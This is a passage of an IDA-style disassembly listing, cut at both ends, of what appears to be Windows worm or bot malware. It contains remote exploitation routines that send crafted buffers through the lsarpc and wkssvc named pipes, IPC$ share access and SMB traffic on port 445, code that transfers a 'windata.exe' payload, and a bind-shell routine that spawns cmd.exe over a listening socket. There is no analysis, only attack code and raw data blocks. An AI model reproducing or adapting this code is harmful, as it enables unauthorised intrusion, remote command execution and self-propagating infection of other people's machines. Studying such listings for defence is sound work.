XREF: seg000:004104CBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4105A9: ; CODE XREF: seg000:00410501j lea eax, [ebp-44h] push eax lea eax, [ebp+0Ch] push eax call sub_40C89B test eax, eax pop ecx pop ecx jz short loc_41059B lea eax, [ebp+0Ch] push eax lea eax, [ebp-0A8h] push offset aSPipeLsarpc ; "\\\\%s\\pipe\\lsarpc" push eax call sub_41E6A6 add esp, 0Ch push ebx push 80h push 3 push ebx push 1 push 0C0000000h lea eax, [ebp-0A8h] push eax call ds:dword_42B08C ; CreateFileA mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_41060A loc_4105F8: ; CODE XREF: seg000:00410650j lea eax, [ebp+0Ch] push eax call sub_40C979 push esi call sub_41FEAD pop ecx jmp short loc_4105A1 ; --------------------------------------------------------------------------- loc_41060A: ; CODE XREF: seg000:004105F6j push ebx lea eax, [ebp-0Ch] push eax push 1000h lea eax, [ebp-10A8h] push eax push 48h push offset dword_43FE90 push edi call ds:dword_42B088 ; TransactNamedPipe cmp byte ptr [ebp-10A6h], 0Ch jz short loc_410635 push edi jmp short loc_41064A ; --------------------------------------------------------------------------- loc_410635: ; CODE XREF: seg000:00410630j push ebx lea eax, [ebp-14h] push eax push dword ptr [ebp-4] push esi push edi call ds:dword_42B084 ; WriteFile test eax, eax push edi jnz short loc_410652 loc_41064A: ; CODE XREF: seg000:00410633j call ds:dword_42B004 ; CloseHandle jmp short loc_4105F8 ; --------------------------------------------------------------------------- loc_410652: ; CODE XREF: seg000:00410648j call ds:dword_42B004 ; CloseHandle lea eax, [ebp+0Ch] push eax call sub_40C979 push esi call sub_41FEAD pop ecx pop ecx push 1F4h jmp short loc_410684 ; --------------------------------------------------------------------------- loc_410670: ; CODE XREF: seg000:00410595j push edi call ds:dword_444218 ; closesocket push esi call sub_41FEAD mov dword ptr [esp], 1F4h loc_410684: ; CODE XREF: seg000:0041066Ej call ds:dword_42B014 ; Sleep push dword ptr [ebp-8] lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_41B128 add esp, 0C0h cmp al, 1 jnz loc_4105A2 mov eax, [ebp+0B0h] shl eax, 6 lea eax, dword_43D888[eax] inc dword ptr [eax] jmp loc_4104C8 ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 25A8h call sub_41EA20 push ebx push esi push edi lea eax, [ebp-11A8h] push eax push 2 call ds:dword_42B204 ; WSAStartup xor ebx, ebx push ebx push 1 push 2 call ds:dword_444100 ; socket mov edi, eax cmp edi, ebx mov [ebp-8], edi jl loc_410A2E push 1BDh mov word ptr [ebp-18h], 2 call ds:dword_444260 ; htons mov [ebp-16h], ax lea eax, [ebp+0Ch] push eax call ds:dword_44417C ; inet_addr push 8 mov [ebp-14h], eax lea eax, [ebp-10h] push ebx push eax call sub_41E5F0 add esp, 0Ch push 10h lea eax, [ebp-18h] push eax push edi call ds:dword_4440AC ; connect test eax, eax jl loc_410A2E push ebx push 89h push offset dword_4408F0 push edi call ds:dword_4441A0 ; send test eax, eax jl loc_410A2E push ebx mov esi, 1000h push esi lea eax, [ebp-25A8h] push eax push edi call ds:dword_444064 ; recv cmp eax, 0Ah jle loc_410A2E cmp [ebp-259Fh], bl jnz loc_410A2E push ebx push 0A8h push offset dword_440980 push edi call ds:dword_4441A0 ; send test eax, eax jl loc_410A2E push ebx push esi lea eax, [ebp-25A8h] push eax push edi call ds:dword_444064 ; recv cmp eax, 0Ah jle loc_410A2E push ebx push 0DEh push offset dword_440A30 push edi call ds:dword_4441A0 ; send test eax, eax jl loc_410A2E push ebx push esi lea eax, [ebp-25A8h] push eax push edi call ds:dword_444064 ; recv cmp eax, 0Ah jle loc_410A2E cmp [ebp-259Fh], bl jnz loc_410A2E push 30h lea eax, [ebp-1018h] push offset dword_440B10 push eax call sub_41F400 lea eax, [ebp+0Ch] push eax lea eax, [ebp-15A8h] push offset aSIpc_1 ; "\\\\%s\\IPC$" push eax call sub_41E6A6 lea eax, [ebp-15A8h] push eax lea eax, [ebp-0FE8h] push eax call sub_40FB31 lea eax, [ebp-15A8h] push eax call sub_41E1C0 shl eax, 1 movzx edi, ax add eax, 9 mov [ebp-4], eax push 1 lea eax, [ebp-4] push eax lea eax, [ebp-0FEBh] push eax lea edi, [ebp+edi-0FE8h] call sub_41F400 push 8 push offset dword_440B44 push edi call sub_41F400 xor eax, eax add edi, 8 mov ax, di lea ecx, [ebp-1018h] sub ax, cx push 1 sub eax, 4 mov [ebp-4], eax lea eax, [ebp-4] push eax lea eax, [ebp-1015h] push eax call sub_41F400 add esp, 48h lea eax, [ebp-1018h] push ebx sub edi, eax push edi mov edi, [ebp-8] push eax push edi call ds:dword_4441A0 ; send test eax, eax jl loc_410A2E push ebx push esi lea eax, [ebp-25A8h] push eax push edi call ds:dword_444064 ; recv cmp eax, 0Ah jle loc_410A2E cmp [ebp-259Fh], bl jnz loc_410A2E push ebx push 6Ah push offset dword_440B50 push edi call ds:dword_4441A0 ; send test eax, eax jl loc_410A2E push ebx push esi lea eax, [ebp-25A8h] push eax push edi call ds:dword_444064 ; recv cmp eax, 0Ah jle loc_410A2E cmp [ebp-259Fh], bl jnz loc_410A2E push ebx push 0A0h push offset dword_440BC0 push edi call ds:dword_4441A0 ; send test eax, eax jl loc_410A2E push ebx push esi lea eax, [ebp-25A8h] push eax push edi call ds:dword_444064 ; recv cmp eax, 0Ah jle loc_410A2E cmp [ebp-259Fh], bl jnz loc_410A2E push esi lea eax, [ebp-1018h] push 0FFFFFF90h push eax call sub_41E5F0 push 130h lea eax, [ebp-1018h] push offset dword_440C68 push eax call sub_41F400 add esp, 18h push 4E1Ah call ds:dword_444260 ; htons push 158h mov ds:word_440E6A, ax lea eax, [ebp-0EE8h] push offset dword_440DB0 push eax call sub_41F400 push 0Ch lea eax, [ebp-790h] push offset dword_440D9C push eax call sub_41F400 add esp, 18h push ebx push 894h lea eax, [ebp-1018h] push eax push edi call ds:dword_4441A0 ; send test eax, eax jl short loc_410A2E push ebx push esi lea eax, [ebp-25A8h] push eax push edi call ds:dword_444064 ; recv push 12Ch call ds:dword_42B014 ; Sleep push 4A2Dh sub esp, 0BCh push 2Fh pop ecx lea esi, [ebp+8] mov edi, esp rep movsd call sub_41B128 add esp, 0C0h test al, al jz short loc_410A2E mov eax, [ebp+0B0h] shl eax, 6 lea eax, dword_43D888[eax] inc dword ptr [eax] xor eax, eax inc eax jmp short loc_410A30 ; --------------------------------------------------------------------------- loc_410A2E: ; CODE XREF: seg000:004106F9j ; seg000:0041073Fj ... xor eax, eax loc_410A30: ; CODE XREF: seg000:00410A2Cj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 210h push esi xor esi, esi cmp [ebp+0C4h], esi push edi jnz short loc_410A64 push 4 push offset dword_440F10 push offset byte_440F55 call sub_41F400 push 4 push offset dword_440F18 jmp short loc_410A89 ; --------------------------------------------------------------------------- loc_410A64: ; CODE XREF: seg000:00410A48j cmp dword ptr [ebp+0C4h], 1 jnz loc_410BA8 push 4 push offset dword_440F20 push offset byte_440F55 call sub_41F400 push 4 push offset dword_440F28 loc_410A89: ; CODE XREF: seg000:00410A62j push offset aRrrrrrrrrrrrrr ; ""... call sub_41F400 add esp, 18h push offset aWindata_exe ; "windata.exe" push dword ptr [ebp+8] call sub_4023C9 pop ecx push eax lea eax, [ebp-210h] push 200h push eax call sub_40AE18 add esp, 10h test eax, eax jz loc_410BA8 push esi push 1 push 2 call ds:dword_444100 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jz loc_410BA8 push 10h lea eax, [ebp-10h] push esi push eax call sub_41E5F0 add esp, 0Ch push dword ptr [ebp+0A8h] mov word ptr [ebp-10h], 2 call ds:dword_444260 ; htons mov [ebp-0Eh], ax lea eax, [ebp+0Ch] push eax call ds:dword_44417C ; inet_addr mov [ebp-0Ch], eax push 10h lea eax, [ebp-10h] push eax push edi call ds:dword_4440AC ; connect cmp eax, 0FFFFFFFFh jz loc_410BA1 push esi push 85h push offset dword_440F30 push edi call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz short loc_410BA1 mov esi, ds:dword_42B014 push 0Ah call esi ; Sleep and dword ptr [ebp+0C4h], 0 loc_410B47: ; CODE XREF: seg000:00410B7Bj lea eax, [ebp-210h] push 0 push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp-210h] push eax push edi call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz short loc_410BA1 push 0Ah call esi ; Sleep inc dword ptr [ebp+0C4h] cmp dword ptr [ebp+0C4h], 7 jl short loc_410B47 push 3E8h call esi ; Sleep push edi call ds:dword_444218 ; closesocket mov eax, [ebp+0B0h] shl eax, 6 lea eax, dword_43D888[eax] inc dword ptr [eax] xor eax, eax inc eax jmp short loc_410BAA ; --------------------------------------------------------------------------- loc_410BA1: ; CODE XREF: seg000:00410B19j ; seg000:00410B34j ... push edi call ds:dword_444218 ; closesocket loc_410BA8: ; CODE XREF: seg000:00410A6Bj ; seg000:00410ABBj ... xor eax, eax loc_410BAA: ; CODE XREF: seg000:00410B9Fj pop edi pop esi leave retn ; --------------------------------------------------------------------------- dw 5756h dd 0EC81006Ah, 0BCh, 8D592F6Ah, 0CC24B4h, 0FC8B0000h, 6AE8A5F3h dd 81FFFFFEh, 0C0C4h, 81016A00h, 0BCECh, 592F6A00h, 0CC24B48Dh dd 8B000000h, 0E8A5F3FCh, 0FFFFFE49h, 0C0C481h, 0C0330000h dd 0C35E405Fh, 3950B855h, 6C8D0002h, 19E89C24h, 530000DEh dd 0C6A5756h, 33C03359h, 205D88DBh, 0F3217D8Dh, 9D88AAABh dd 0FFFEFF94h, 0FFB9C033h, 8D00003Fh, 0FEFF95BDh, 66ABF3FFh dd 59226AABh, 0AA7475FFh, 4332B0BEh, 987D8D00h, 15FFA5F3h dd 42B200h, 357075FFh, 8080h, 1087A366h, 15FF0044h, 444260h dd 666C75FFh, 66564589h, 25445C7h, 7C15FF00h, 53004441h dd 26A016Ah, 0FF584589h, 44410015h, 83F08B00h, 875FFFEh dd 0E940C033h, 113h, 458D106Ah, 0FF565054h, 4440AC15h dd 0FFF88300h, 0C00B0775h, 0FAE9h, 4343B800h, 0B94343h dd 8D000040h, 0FEFF94BDh, 33ABF3FFh, 22D3DC0h, 1C730000h dd 0FB8888Ah, 8C880044h, 0FFF99405h, 888D40FFh, 0FA00h dd 0F981h, 0DD720001h, 8878458Ah, 0FF00AF85h, 7C458AFFh dd 1388068h, 0B0858800h, 8DFFFF00h, 0FDC71485h, 885053FFh dd 0EDE8945Dh, 6A0000D8h, 20458D32h, 0E1E85053h, 0FF0000D8h dd 858D6C75h, 0FFFEFF94h, 14858D50h, 68FFFDC7h, 433268h dd 0D97CE850h, 458D0000h, 8DE85098h, 500000D4h, 0C714858Dh dd 6850FFFDh, 43325Ch, 0D960E850h, 0C4830000h, 14858D3Ch dd 53FFFDC7h, 0D46AE850h, 3D8B0000h, 42B210h, 858D5059h dd 0FFFDC714h, 0D7FF5650h, 5398458Dh, 0D44EE850h, 50590000h dd 5098458Dh, 53D7FF56h, 458D326Ah, 0FF565020h, 44406415h dd 205D3800h, 0CF830574h, 3303EBFFh, 0FF5647FFh, 44421815h dd 5FC78B00h, 0C5835B5Eh, 56C3C964h, 11E8BF57h, 83BE0044h dd 0FF000000h, 448D0477h, 37FF1424h, 24B4FF56h, 0B8h, 0FE2EE850h dd 0C483FFFFh, 0FFF88314h, 0C7835174h, 48FF8108h, 7E004412h dd 1F468D6h, 15FF0000h, 42B014h, 0BCEC8156h, 6A000000h dd 0B48D592Fh, 0CC24h, 0F3FC8B00h, 0A326E8A5h, 0C4810000h dd 0C0h, 1775013Ch, 0B424848Bh, 0C1000000h, 808D06E0h dd 43D888h, 0C03300FFh, 3302EB40h, 0C35E5FC0h ; =============== S U B R O U T I N E ======================================= sub_410E28 proc near ; CODE XREF: seg000:00411000p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch xor edx, edx cmp [esp+arg_4], edx jbe short locret_410E58 push esi mov esi, [esp+4+arg_8] loc_410E35: ; CODE XREF: sub_410E28+2Dj mov eax, [esp+4+arg_0] mov cl, [edx+eax] mov al, cl shr al, 4 and cl, 0Fh add cl, 41h add al, 41h mov [esi+edx*2], cl mov [esi+edx*2+1], al inc edx cmp edx, [esp+4+arg_4] jb short loc_410E35 pop esi locret_410E58: ; CODE XREF: sub_410E28+6j retn sub_410E28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410E59 proc near ; CODE XREF: sub_410E59+CDp ; seg000:00411384p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_410E6D or [ebp+arg_7], 1 jmp short loc_410E71 ; --------------------------------------------------------------------------- loc_410E6D: ; CODE XREF: sub_410E59+Cj and [ebp+arg_7], 0FEh loc_410E71: ; CODE XREF: sub_410E59+12j mov ebx, [ebp+arg_20] mov eax, [ebp+arg_24] lea ecx, [ebx+18h] cmp ecx, eax ja short loc_410E92 or [ebp+arg_7], 2 lea eax, [ebx+18h] mov [ebp+arg_C], ax mov [ebp+arg_14], ebx mov [ebp+arg_2B], 0 jmp short loc_410EA4 ; --------------------------------------------------------------------------- loc_410E92: ; CODE XREF: sub_410E59+23j mov [ebp+arg_C], ax add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_410EA4: ; CODE XREF: sub_410E59+37j movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41E5D3 test eax, eax pop ecx mov [ebp+arg_20], eax jnz short loc_410EBD loc_410EB9: ; CODE XREF: sub_410E59+A4j xor al, al jmp short loc_410F32 ; --------------------------------------------------------------------------- loc_410EBD: ; CODE XREF: sub_410E59+5Ej push 6 pop ecx mov edi, eax lea esi, [ebp+arg_4] rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_41F400 add esp, 0Ch push 0 lea eax, [ebp+var_8] push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] call ds:dword_42B084 ; WriteFile test eax, eax push [ebp+arg_20] jnz short loc_410EFF call sub_41E2A1 pop ecx jmp short loc_410EB9 ; --------------------------------------------------------------------------- loc_410EFF: ; CODE XREF: sub_410E59+9Cj call sub_41E2A1 cmp [ebp+arg_2B], 0 pop ecx jz short loc_410F30 push 0 push [ebp+arg_24] sub ebx, edi push ebx add edi, esi push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] lea esi, [ebp+arg_4] rep movsd call sub_410E59 add esp, 2Ch jmp short loc_410F32 ; --------------------------------------------------------------------------- loc_410F30: ; CODE XREF: sub_410E59+B0j mov al, 1 loc_410F32: ; CODE XREF: sub_410E59+62j ; sub_410E59+D5j pop edi pop esi pop ebx leave retn sub_410E59 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 0CC48h call sub_41EA20 push ebx push esi xor ebx, ebx push edi inc ebx lea eax, [ebp+10h] push ebx push eax call sub_41AA0A cmp eax, 3 pop ecx pop ecx jz short loc_410F62 xor eax, eax jmp loc_4113B2 ; --------------------------------------------------------------------------- loc_410F62: ; CODE XREF: seg000:00410F59j push 2B3h xor esi, esi lea eax, [ebp-344h] push esi push eax call sub_41E5F0 push 0DACh lea eax, [ebp-10F0h] push esi push eax call sub_41E5F0 push 1B58h lea eax, [ebp-2C48h] push esi push eax call sub_41E5F0 push 0DABh lea eax, [ebp-10F0h] push 41h push eax call sub_41E5F0 mov edi, [ebp+8] shl edi, 4 mov eax, ds:dword_441410[edi] mov ecx, ds:dword_44140C[edi] push 5 mov [ebp+eax-10F0h], ecx lea eax, [ebp-7F4h] push offset aFb ; "fìÐ\a" push eax call sub_41F400 push 3Fh lea eax, [ebp-7EFh] push offset dword_4413C8 push eax call sub_41F400 add esp, 48h lea eax, [ebp-344h] push eax push 159h push offset dword_441268 call sub_410E28 lea eax, [ebp-344h] push eax call sub_41E1C0 push eax lea eax, [ebp-344h] push eax lea eax, [ebp-7B0h] push eax call sub_41F400 lea eax, [ebp-344h] push eax call sub_41E1C0 add esp, 20h mov byte ptr [ebp+eax-7B0h], 0 xor eax, eax loc_41103E: ; CODE XREF: seg000:00411055j movzx cx, byte ptr [ebp+eax-10F0h] mov [ebp+eax*2-2C48h], cx inc eax cmp eax, 0DACh jb short loc_41103E lea eax, [ebp+10h] push eax push offset aS_1 ; "\\\\%s" lea eax, [ebp-8C48h] push 2000h push eax call sub_41E6FE push 2000h lea eax, [ebp-8C48h] push eax lea eax, [ebp-0CC48h] push eax call sub_4204DD lea eax, [ebp+10h] push offset a__0 ; "." push eax call sub_429A60 add esp, 24h test eax, eax jz short loc_4110E8 lea eax, [ebp+10h] push eax push offset aSIpc ; "\\\\%s\\ipc$" lea eax, [ebp-4C48h] push 2000h push eax call sub_41E6FE push 20h lea eax, [ebp-90h] push esi push eax call sub_41E5F0 add esp, 1Ch lea eax, [ebp-4C48h] mov [ebp-7Ch], eax push esi mov eax, offset byte_42B633 push eax push eax lea eax, [ebp-90h] push eax call ds:dword_4441AC loc_4110E8: ; CODE XREF: seg000:0041109Cj lea eax, [ebp+10h] push eax push offset aSPipeWkssvc ; "\\\\%s\\pipe\\wkssvc" lea eax, [ebp-6C48h] push 2000h push eax call sub_41E6FE add esp, 10h push esi push esi push 3 push esi push 3 push 40000000h lea eax, [ebp-6C48h] push eax call ds:dword_42B08C ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_41112D loc_411126: ; CODE XREF: seg000:00411223j xor edi, edi jmp loc_4113A5 ; --------------------------------------------------------------------------- loc_41112D: ; CODE XREF: seg000:00411124j push 48h lea eax, [ebp-6Ch] push esi push eax call sub_41E5F0 push 10h pop eax push eax mov [ebp-68h], eax lea eax, [ebp-4Ch] push offset dword_433DC8 push eax mov byte ptr [ebp-6Ch], 5 mov byte ptr [ebp-6Bh], 0 mov byte ptr [ebp-6Ah], 0Bh mov byte ptr [ebp-69h], 3 mov word ptr [ebp-64h], 48h mov [ebp-62h], si mov [ebp-60h], ebx mov word ptr [ebp-5Ch], 10B8h mov word ptr [ebp-5Ah], 10B8h mov [ebp-58h], esi mov [ebp-54h], ebx mov [ebp-50h], si mov byte ptr [ebp-4Eh], 1 mov [ebp-3Ch], ebx call sub_41F400 push 10h lea eax, [ebp-38h] push offset dword_433DB4 push eax mov dword ptr [ebp-28h], 2 call sub_41F400 add esp, 24h push esi lea eax, [ebp-70h] push eax push 48h lea eax, [ebp-6Ch] push eax push dword ptr [ebp-8] call ds:dword_42B084 ; WriteFile test eax, eax jz short loc_41121A lea eax, [ebp-0CC48h] push eax call sub_4206A3 pop ecx lea ebx, [eax+eax+12h] jmp short loc_4111CE ; --------------------------------------------------------------------------- loc_4111CD: ; CODE XREF: seg000:004111D1j inc ebx loc_4111CE: ; CODE XREF: seg000:004111CBj test bl, 3 jnz short loc_4111CD cmp ds:byte_441414[edi], 0 jz short loc_4111DF add ebx, 4 loc_4111DF: ; CODE XREF: seg000:004111DAj lea eax, [ebp-2C48h] push eax call sub_4206A3 pop ecx lea eax, [ebx+eax*2+0Eh] jmp short loc_4111F3 ; --------------------------------------------------------------------------- loc_4111F2: ; CODE XREF: seg000:004111F5j inc eax loc_4111F3: ; CODE XREF: seg000:004111F0j test al, 3 jnz short loc_4111F2 add eax, 8 cmp ds:byte_441414[edi], 0 jz short loc_411208 add eax, 4 jmp short loc_41120A ; --------------------------------------------------------------------------- loc_411208: ; CODE XREF: seg000:00411201j inc eax inc eax loc_41120A: ; CODE XREF: seg000:00411206j push eax mov [ebp-0Ch], eax call sub_41E5D3 mov ebx, eax cmp ebx, esi pop ecx jnz short loc_411228 loc_41121A: ; CODE XREF: seg000:004111B8j push dword ptr [ebp-8] call ds:dword_42B004 ; CloseHandle jmp loc_411126 ; --------------------------------------------------------------------------- loc_411228: ; CODE XREF: seg000:00411218j push dword ptr [ebp-0Ch] push esi push ebx call sub_41E5F0 push 4 push offset dword_441258 push ebx call sub_41F400 lea eax, [ebp-0CC48h] push eax call sub_4206A3 inc eax mov [ebx+0Ch], eax mov [ebx+4], eax lea eax, [ebp-0CC48h] push eax lea eax, [ebx+10h] push eax mov [ebx+8], esi call sub_41F862 lea eax, [ebp-0CC48h] push eax call sub_4206A3 lea eax, [eax+eax+12h] add esp, 28h test al, 3 mov [ebp-4], eax jz short loc_411287 loc_41127F: ; CODE XREF: seg000:00411282j inc eax test al, 3 jnz short loc_41127F mov [ebp-4], eax loc_411287: ; CODE XREF: seg000:0041127Dj cmp ds:byte_441414[edi], 0 jz short loc_4112A6 push 4 add eax, ebx push offset dword_441260 push eax call sub_41F400 add esp, 0Ch add dword ptr [ebp-4], 4 loc_4112A6: ; CODE XREF: seg000:0041128Ej lea eax, [ebp-2C48h] push eax call sub_4206A3 mov ecx, [ebp-4] inc eax mov [ecx+ebx+8], eax mov [ecx+ebx], eax mov [ecx+ebx+4], esi add ecx, 0Ch lea eax, [ebp-2C48h] mov [ebp-4], ecx push eax add ecx, ebx push ecx call sub_41F862 lea eax, [ebp-2C48h] push eax call sub_4206A3 mov ecx, [ebp-4] lea eax, [ecx+eax*2+2] add esp, 10h test al, 3 mov [ebp-4], eax jz short loc_4112FB loc_4112F3: ; CODE XREF: seg000:004112F6j inc eax test al, 3 jnz short loc_4112F3 mov [ebp-4], eax loc_4112FB: ; CODE XREF: seg000:004112F1j push 8 add eax, ebx push esi push eax call sub_41E5F0 mov eax, [ebp-4] add esp, 0Ch add eax, 8 cmp ds:byte_441414[edi], 0 jz short loc_41131D mov [eax+ebx], esi jmp short loc_411323 ; --------------------------------------------------------------------------- loc_41131D: ; CODE XREF: seg000:00411316j mov word ptr [eax+ebx], 1 loc_411323: ; CODE XREF: seg000:0041131Bj push 18h lea eax, [ebp-24h] push esi push eax call sub_41E5F0 add esp, 0Ch xor ecx, ecx xor eax, eax inc eax cmp ds:byte_441414[edi], cl push eax push 10B8h push dword ptr [ebp-0Ch] setnz cl push ebx sub esp, 18h push 6 mov [ebp-1Ah], si mov [ebp-10h], si mov byte ptr [ebp-24h], 5 lea ecx, [ecx+ecx+19h] mov [ebp-0Eh], cx pop ecx mov edi, esp push dword ptr [ebp-8] mov byte ptr [ebp-23h], 0 mov byte ptr [ebp-22h], 0 mov byte ptr [ebp-21h], 3 mov dword ptr [ebp-20h], 10h mov [ebp-18h], eax lea esi, [ebp-24h] rep movsd call sub_410E59 add esp, 2Ch xor edi, edi test al, al jz short loc_411393 inc edi loc_411393: ; CODE XREF: seg000:00411390j push dword ptr [ebp-8] call ds:dword_42B004 ; CloseHandle push ebx call sub_41E2A1 pop ecx xor esi, esi loc_4113A5: ; CODE XREF: seg000:00411128j push esi push esi push dword ptr [ebp-7Ch] call ds:dword_4440D8 mov eax, edi loc_4113B2: ; CODE XREF: seg000:00410F5Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- aVwb db 'VWì¼',0 db 2 dup(0), 6Ah dd 0FC8B592Fh, 0C824B48Dh, 6A000000h, 0E8A5F301h, 0FFFFFB63h dd 592F6A59h, 0B48DFC8Bh, 0C824h, 0F3016A00h, 0FB4DE8A5h dd 0C481FFFFh, 0C0h, 1F468h, 1415FF00h, 680042B0h, 7C7h dd 0BCEC81h, 2F6A0000h, 24B48D59h, 0CCh, 0A5F3FC8Bh, 9D0FE8h dd 0C0C48100h, 3C000000h, 8B177501h, 0B42484h, 0E0C10000h dd 88808D06h, 0FF0043D8h, 40C03300h, 0C03302EBh, 56C35E5Fh dd 0BCEC8157h, 6A000000h, 0FC8B592Fh, 0C824B48Dh, 6A000000h dd 0E8A5F300h, 0FFFFFADBh, 592F6A59h, 0B48DFC8Bh, 0C824h dd 0F3006A00h, 0FAC5E8A5h, 0C481FFFFh, 0C0h, 1F468h, 1415FF00h dd 680042B0h, 7C7h, 0BCEC81h, 2F6A0000h, 24B48D59h, 0CCh dd 0A5F3FC8Bh, 9C87E8h, 0C0C48100h, 3C000000h, 8B177501h dd 0B42484h, 0E0C10000h, 88808D06h, 0FF0043D8h, 40C03300h dd 0C03302EBh db 5Fh, 5Eh, 0C3h ; --------------------------------------------------------------------------- loc_4114C7: ; DATA XREF: seg000:004116ADo push ebp mov ebp, esp sub esp, 404h loc_4114D0: ; CODE XREF: seg000:004114ECj ; seg000:00411508j push 0 push 400h lea eax, [ebp-404h] push eax push ds:dword_4D5250 call ds:dword_444064 ; recv test eax, eax jle short loc_4114D0 push 0 lea ecx, [ebp-4] push ecx push eax lea eax, [ebp-404h] push eax push ds:dword_4D5248 call ds:dword_42B084 ; WriteFile jmp short loc_4114D0 ; --------------------------------------------------------------------------- loc_41150A: ; DATA XREF: seg000:00411694o push ebp mov ebp, esp sub esp, 404h loc_411513: ; CODE XREF: seg000:00411539j ; seg000:00411553j and dword ptr [ebp-4], 0 push 0 lea eax, [ebp-4] push eax push 400h lea eax, [ebp-404h] push eax push ds:dword_4D524C call ds:dword_42B080 ; ReadFile cmp dword ptr [ebp-4], 0 jle short loc_411513 push 0 push dword ptr [ebp-4] lea eax, [ebp-404h] push eax push ds:dword_4D5250 call ds:dword_4441A0 ; send jmp short loc_411513 ; --------------------------------------------------------------------------- loc_411555: ; DATA XREF: sub_40274D+2AF2o push ebp mov ebp, esp sub esp, 11Ch mov eax, [ebp+8] push ebx push esi push edi push 28h pop ecx mov esi, eax lea edi, [ebp-11Ch] rep movsd xor esi, esi inc esi push 10h mov [eax+98h], esi xor edi, edi lea eax, [ebp-38h] push edi push eax call sub_41E5F0 add esp, 0Ch push dword ptr [ebp-98h] mov word ptr [ebp-38h], 2 call ds:dword_444260 ; htons push 6 push esi push 2 mov [ebp-36h], ax call ds:dword_444100 ; socket mov [ebp+8], eax push 10h lea eax, [ebp-38h] push eax push dword ptr [ebp+8] call ds:dword_4441E4 ; bind push 5 push dword ptr [ebp+8] call ds:dword_444230 ; listen mov ebx, ds:dword_42B0A0 mov esi, ds:dword_42B004 loc_4115D5: ; CODE XREF: seg000:0041171Dj push edi push edi push dword ptr [ebp+8] call ds:dword_4440BC ; accept push edi mov ds:dword_4D5250, eax lea eax, [ebp-0Ch] push eax push offset dword_4D5248 push offset dword_4D5244 mov dword ptr [ebp-0Ch], 0Ch mov dword ptr [ebp-4], 1 mov [ebp-8], edi call ebx ; CreatePipe push edi lea eax, [ebp-0Ch] push eax push offset dword_4D5254 push offset dword_4D524C call ebx ; CreatePipe push 44h lea eax, [ebp-7Ch] push edi push eax call sub_41E5F0 mov eax, ds:dword_4D5244 add esp, 0Ch push edi mov [ebp-44h], eax mov eax, ds:dword_4D5254 push 1 mov [ebp-40h], eax push 2 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-7Ch], 44h mov dword ptr [ebp-50h], 101h mov [ebp-4Ch], di call ds:dword_42B09C ; GetCurrentProcess push eax push ds:dword_4D5254 call ds:dword_42B09C ; GetCurrentProcess push eax call ds:dword_42B098 ; DuplicateHandle lea eax, [ebp-28h] push eax lea eax, [ebp-7Ch] push eax push edi push edi push 4000090h push 1 lea eax, [ebp-0Ch] push eax push eax push offset aCmd_exe ; "cmd.exe" push edi call ds:dword_42B008 ; CreateProcessA lea eax, [ebp-18h] push eax push edi push edi push offset loc_41150A push edi lea eax, [ebp-0Ch] push eax call ds:dword_42B03C ; CreateThread mov [ebp-14h], eax lea eax, [ebp-18h] push eax push edi push edi push offset loc_4114C7 push edi lea eax, [ebp-0Ch] push eax call ds:dword_42B03C ; CreateThread push 0FFFFFFFFh push dword ptr [ebp-28h] mov [ebp-10h], eax call ds:dword_42B054 ; WaitForSingleObject push edi push dword ptr [ebp-10h] call ds:dword_42B028 ; TerminateThread push edi push dword ptr [ebp-14h] call ds:dword_42B028 ; TerminateThread push dword ptr [ebp-10h] call esi ; CloseHandle push dword ptr [ebp-14h] call esi ; CloseHandle push edi push dword ptr [ebp-28h] call ds:dword_42B094 ; TerminateProcess push ds:dword_4D5244 call esi ; CloseHandle push ds:dword_4D5248 call esi ; CloseHandle push ds:dword_4D524C call esi ; CloseHandle push ds:dword_4D5254 call esi ; CloseHandle push dword ptr [ebp-24h] call esi ; CloseHandle push dword ptr [ebp-28h] call esi ; CloseHandle jmp loc_4115D5 ; --------------------------------------------------------------------------- word_411722 dw 8D55h ; DATA XREF: seg000:0040B9E2o dd 818C246Ch, 6C0ECh, 7C458B00h, 6A575653h, 0F08B5927h dd 0F3B47D8Dh, 46F633A5h, 0B089106Ah, 98h, 458DDB33h, 0E8505360h dd 0CE9Ch, 0FF0CC483h, 0C766C075h, 26045h, 426015FFh, 56530044h dd 8966026Ah, 5D896245h, 15FF64h, 8B004441h, 0FFCE83F8h dd 5675FE3Bh, 41C415FFh, 8D500044h, 0FFFDB485h, 3EDC68FFh dd 0E8500043h, 0CF0Eh, 390CC483h, 1A75485Dh, 4475FF53h dd 0FDB4858Dh, 8D50FFFFh, 0FF50C445h, 84E8B475h, 83FFFEFAh dd 858D14C4h, 0FFFFFDB4h, 65AAE850h, 75FF0000h, 997BE8B8h dd 5959FFFFh, 223E953h, 458B0000h, 34C069B8h, 89000002h dd 4444F4B8h, 8D106A00h, 57506045h, 41E415FFh, 0C63B0044h dd 